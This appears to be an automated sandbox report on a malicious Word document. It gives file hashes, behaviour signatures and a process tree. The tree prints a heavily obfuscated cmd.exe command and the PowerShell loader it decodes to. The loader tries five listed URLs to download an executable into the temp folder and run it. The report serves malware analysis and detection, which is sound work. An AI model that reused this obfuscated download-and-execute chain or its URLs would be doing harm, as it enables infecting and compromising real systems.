Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 12:15

General

  • Target

    5f05e3893cc73da9e167f8fc047c0776_JaffaCakes118.doc

  • Size

    82KB

  • MD5

    5f05e3893cc73da9e167f8fc047c0776

  • SHA1

    9c5858e2e2ba44ca6275d1c420b6f6c01360ec46

  • SHA256

    375c40c33adbd1ddb234c2c66604d484918b3952fc534c5ba1ec10d4a5b33caf

  • SHA512

    c4099ee5b7809a17f45c4e85d8d9659ee7a29aa9f4ca60052759d16b92295d40e7584449aa8ff9ddd87ea903674f8aa466b8dcb74dda2fd7de49b55a7a19f796

  • SSDEEP

    1536:vJK+lhLocn1kp59gxBK85fBt+a9Hjduedt9+d5paxyNS:vJbla41k/W48tjduedt9+d5paxy4

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f05e3893cc73da9e167f8fc047c0776_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2988
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^O/C"^se^t M^y=)^Z^W^$YNG^uz^i^E^sJ^SB^p^Oc^4e^x^}@^\at^[/^o^w^Q^L^IP]^jF(^g^l5r^ynq^T^k^0m^-'^2b.U^:^,^1^f^d^ ^{^h;v=^M^+&&^f^or %^2 ^in (15,^2^8,^29,^19^,4^1,^1^1,6^2,^19,^39^,^3^9^,60,^3^,7^,^11^,6^2,^65^,^50^,8,^9^,1,50,63^,3,4^,31,^8^,^6^5^,^50^,^6^2,^25,2^5,^15^,^55,^2^7^,^2^7,^59,^7^,62^,^2^8,1^7,3^8,25^,1^7,^5^3,1^7^,^2^8^,^4^8,27^,3^9,4^4,25^,^15,2^2,62,^2^5,2^5^,15,^55^,27^,27,^52,19^,1^1^,^2^5^,25,4^1^,^2^4^,^64^,19,^39,11,^53^,3^9^,^9^,^64,19,^2^7^,4^0,^1^5^,5^4^,^2^2^,6^2,2^5^,^25,^15^,55,^27,^2^7,^1^1,^24^,^9^,^1^1^,^9^,59^,5^9^,62,53,1^7^,2^8^,4^8^,^2^7,4,2^8^,^2,1^,^59,^18,^2^2,^6^2,^25,^2^5^,15,^55,^27^,2^7,9,4^3,^11,7,4^8,1^9,^2^0^,53,17,2^8,^4^8,^53^,^4^8^,^20^,2^7,8^,4^5^,66^,5^9^,^5^1^,22,^62,^2^5,2^5^,^1^5,^5^5,^2^7,^27^,3^8^,9,^24^,4^3,^38,4^3^,38^,^7^,42^,^1^9^,^4^3^,^41,19^,^2^4,^39^,53^,^1^7,28^,4^8,2^7,^45^,50,^53,1^3,1^5^,3^9^,^9,^25,^3^7,^50^,22,50^,0,^6^3^,^3^,^3^5^,^48^,^64^,65,^37,^26,13^,4^2,1^1,2^5^,1^9,^4^8,^5^3^,^3^2^,^1^6^,^5^3^,33^,24^,2^5,^6^2^,^34^,55,^55,6,1^9^,2^5,^4^5,^1^9^,^4^8,^1^5^,^33^,2^4,25,^6^2^,^37^,0^,^67,5^0,2^3^,^12,^30,9,5^3^,^19^,2^0,^1^9,50,^0^,^6^3^,3,36,46,^30,^6^0,^65^,^5^,^1^9,^29,^4^9,^1^6,^52,3^5^,^1^9,^17^,^2^5,60^,4^9^,^1^7^,^2^8^,^48,60,50^,^4^8^,^1^1,^20^,4^8^,^39,51,5^3,20,48^,^3^9^,6^2,25,25^,^1^5,^50,^6^3^,^3^,^1,^4^6^,4^8,60^,^6^5^,^6^0,^5^,^1^9^,29,4^9,16,^5^2,^35,19^,1^7^,^25,^60^,49^,^1^7^,^28^,^4^8^,6^0,^5^0^,^2^4^,5^9^,^2^8,^5^9,5^2^,5^3^,11^,25,^4^1,^19,^2^4,4^8^,^50,63,^58^,^2^8^,^4^1,19^,^2^4^,^1^7,^6^2^,^37,3,3^5^,^2^8^,44^,60,9,^4^3,60^,^3,^4,31,^8,0,61^,25,^41^,^4^2^,^61,3^,^3^6,^4^6,30^,^5^3^,^2^8,15,^19,4^3^,^3^7,50,^6,^1^0,45^,50^,^5^6,^3^,3^5,28,^4^4^,^5^6,^4^7,0,6^3^,^3,3^6,46,3^0^,53,11^,19,43,59^,^3^7,0,6^3^,^3^,1^,^46,^48^,^53,28^,1^5^,19^,^43,^3^7,0^,6^3,^3,1,46^,^4^8,^5^3,^25^,42,^1^5^,^1^9,^60^,65,^6^0^,^57^,6^3^,^3^,^1^,46^,48^,53,29^,4^1^,^9^,25^,19,37^,^3,^3^6^,4^6^,3^0,^53^,^4^1,19^,1^1,1^5^,^28,4^3,11^,^1^9,14,^2^8,59^,^42,0,63,^3,1,4^6,4^8^,^5^3^,1^1,24^,6^4,19^,25^,^28^,^58,9,^3^9,^1^9^,3^7^,3,35,^4^8^,64,0,^63,^1^3,^25^,2^4^,4^1,25,49^,^33^,4^1,^2^8^,1^7^,1^9^,11^,1^1,60,^3^,^3^5^,^4^8^,6^4^,^6^3^,52,41,1^9,2^4,46^,^2^1,^17,2^4,^2^5^,^1^7,^6^2,^6^1^,2^1,21,60^,^60^,^60^,6^0,60^,60^,6^0^,60,60,^60^,60^,6^0^,6^0,60,^60,6^0^,^60,69)^do ^s^et ^B^1=!^B^1!!M^y:~%^2,1!&&^if %^2=^=^69 c^a^l^l %^B^1:*^B1!^=%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $ush='ziZ';$YLz='http://duhocgtc.com/lqtp@http://besttravels.live/5pU@http://saisiddh.com/YoWZd4@http://insumex.com.mx/zTMd2@http://giangnguyenreal.com/T'.Split('@');$jmv=([System.IO.Path]::GetTempPath()+'\JQi.exe');$FkQ =New-Object -com 'msxml2.xmlhttp';$Zkm = New-Object -com 'adodb.stream';foreach($joq in $YLz){try{$FkQ.open('GET',$joq,0);$FkQ.send();$Zkm.open();$Zkm.type = 1;$Zkm.write($FkQ.responseBody);$Zkm.savetofile($jmv);Start-Process $jmv;break}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2444

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      f223ea0e58c2be67d72deb25398c2d21

      SHA1

      298bbdcd4a72e926b27c6fb1ef728a9ed5f27923

      SHA256

      20982972890d6485872d9c58fccbf70e4cc430198cf4afe51763955fc99571bd

      SHA512

      f2fe78ffb428ab4c4842eb6a7bf706f941c6508888bacb1229e40162f585cb8c16ad1f09a25e2b87d517d758797db6cc6e3b829044f7c6d359648aa58c7ac80b

    • memory/2356-9-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-8-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-6-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-13-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-12-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-11-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-2-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/2356-0-0x000000002F431000-0x000000002F432000-memory.dmp

      Filesize

      4KB

    • memory/2356-10-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-7-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-25-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/2356-26-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2356-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2356-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2356-42-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB